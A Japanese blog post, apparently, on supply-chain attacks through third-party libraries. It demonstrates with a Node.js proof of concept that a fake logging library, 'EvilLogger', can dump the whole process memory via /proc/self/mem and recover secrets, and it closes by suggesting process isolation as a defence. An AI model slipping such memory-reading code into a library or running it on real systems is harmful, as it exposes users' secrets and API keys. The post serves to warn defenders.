【サプライチェーン攻撃】もうライブラリを使うのが怖いという話
2026年3月も影響の大きいサプライチェーン攻撃が発生してしまいました。これほどサプライチェーン攻撃が盛んに行われている今、私はもはやライブラリを通常の手段で使うことに躊躇いを感じます。
ライブラリはメモリ上のデータを盗み出せる
ライブラリは通常、メインのプログラムにリンクされ、メインのプログラムと同一のプロセスで動作します。同一プロセス内であればメモリアクセスに制限はないため、プロセスのメモリ全体を盗み取ることができます。APIキーが載っていたらもちろんそれも盗み出すことができます。これはメインのプログラムとライブラリが同一プロセスで動作する以上避けられません。
概念実証コード (Node.js + Linux)
悪意のあるロギングライブラリ "EvilLogger" を使ってしまう例を示します。
main.mts:
import { EvilLogger } from './EvilLogger.mts';
const var0 = "A0B0C1D1";
const var1 = var0[0]; // var0 が最適化により除去されることを防ぐ
EvilLogger.log('Hello, world!');
EvilLogger.mts:
import fs from 'fs';
const log = async (message: string) => {
console.log(message);
/* /proc/self/maps と /proc/self/mem を見てメモリ上のデータを取得する */
const mapsString = await fs.promises.readFile("/proc/self/maps", 'utf-8');
const maps = mapsString.split('\n');
const f = await fs.promises.open('/proc/self/mem');
for (const m of maps) {
const split = m.split(' ');
const regionString = split[0];
const [lowerString, higherString] = regionString.split('-');
const lower = Number.parseInt(lowerString, 16);
const higher = Number.parseInt(higherString, 16);
const length = higher - lower;
if (!Number.isNaN(length)) {
const buf = Buffer.alloc(length)
const res = await f.read(buf, 0, length, lower);
await fs.promises.writeFile(`dump-${lowerString}-${higherString}.bin`, buf);
}
}
};
export const EvilLogger = {
log,
};
以上のコードを npx tsx main.mts で実行すると...?
$ npx tsx main.mts Hello, world!
Hello, world! と表示されましたね。しかしそれだけではありません。カレントディレクトリにメモリダンプファイルが作成されています:
$ ls dump-* dump-00400000-00b65000.bin dump-00b65000-00b67000.bin dump-00b68000-025a0000.bin dump-02600000-02601000.bin dump-02601000-05434000.bin dump-05435000-05439000.bin dump-05439000-05458000.bin dump-05458000-05485000.bin ...
このファイル群には、プロセスに割り当てられているすべてのメモリ領域のデータが格納されています。私の環境では合計数十MB~数百MBになりました。このファイル群からデータを取り出してみましょう。
$ cat dump-* | strings | grep A0B0C1D1
{"code":"import{EvilLogger}from\"./EvilLogger.mts\";const var0=\"A0B0C1D1\";const var1=var0[0];EvilLogger.log(\"Hello, world!\");\n","warnings":[],"map":{"version":3,"mappings":"AAAA,OAAS,eAAkB,mBAC3B,MAAM,KAAO,WACb,MAAM,KAAO,KAAK,CAAC,EACnB,WAAW,IAAI,eAAe","names":[],"ignoreList":[],"sources":["/home/user/memorydump-test/main.mts"],"sourcesContent":[null]}}
import{EvilLogger}from"./EvilLogger.mts";const var0="A0B0C1D1";const var1=var0[0];EvilLogger.log("Hello, world!");
import{EvilLogger}from"./EvilLogger.mts";const var0="A0B0C1D1";const var1=var0[0];EvilLogger.log("Hello, world!");
import{EvilLogger}from"./EvilLogger.mts";const var0="A0B0C1D1";const var1=var0[0];EvilLogger.log("Hello, world!");
A0B0C1D1
import{EvilLogger}from"./EvilLogger.mts";const var0="A0B0C1D1";const var1=var0[0];EvilLogger.log("Hello, world!");
main.mts の var0 の値である A0B0C1D1 が含まれていることがわかりました。それどころか、ソースコード自体も含まれていますね。main.mts で、ライブラリ関数には 'Hello, world!' という文字列しか渡していないことに注意してください。ライブラリはメインコードと同一プロセスで動作し、メインコードのメモリ領域にアクセス可能であるため、たとえライブラリ関数に機密情報を渡さなかったとしてもデータを盗み出されてしまいます。
以上のコードに
- メモリデータからAPIキーを探し出す
- APIキーを外部に送信する
などの機能を追加すれば、立派な "攻撃" として成立してしまうでしょう。
考えられる対策
メモリ上のデータを盗み出されないようにするには、ライブラリを別のプロセスで動作させるしかありません。これには関数をHTTP APIやgRPCで公開することが考えられますが、既存コード (メインコードもライブラリコードも) を改修しなければならず負担は大きいように思います。シームレスにライブラリを別プロセスで動作させる方法の登場が期待されます。
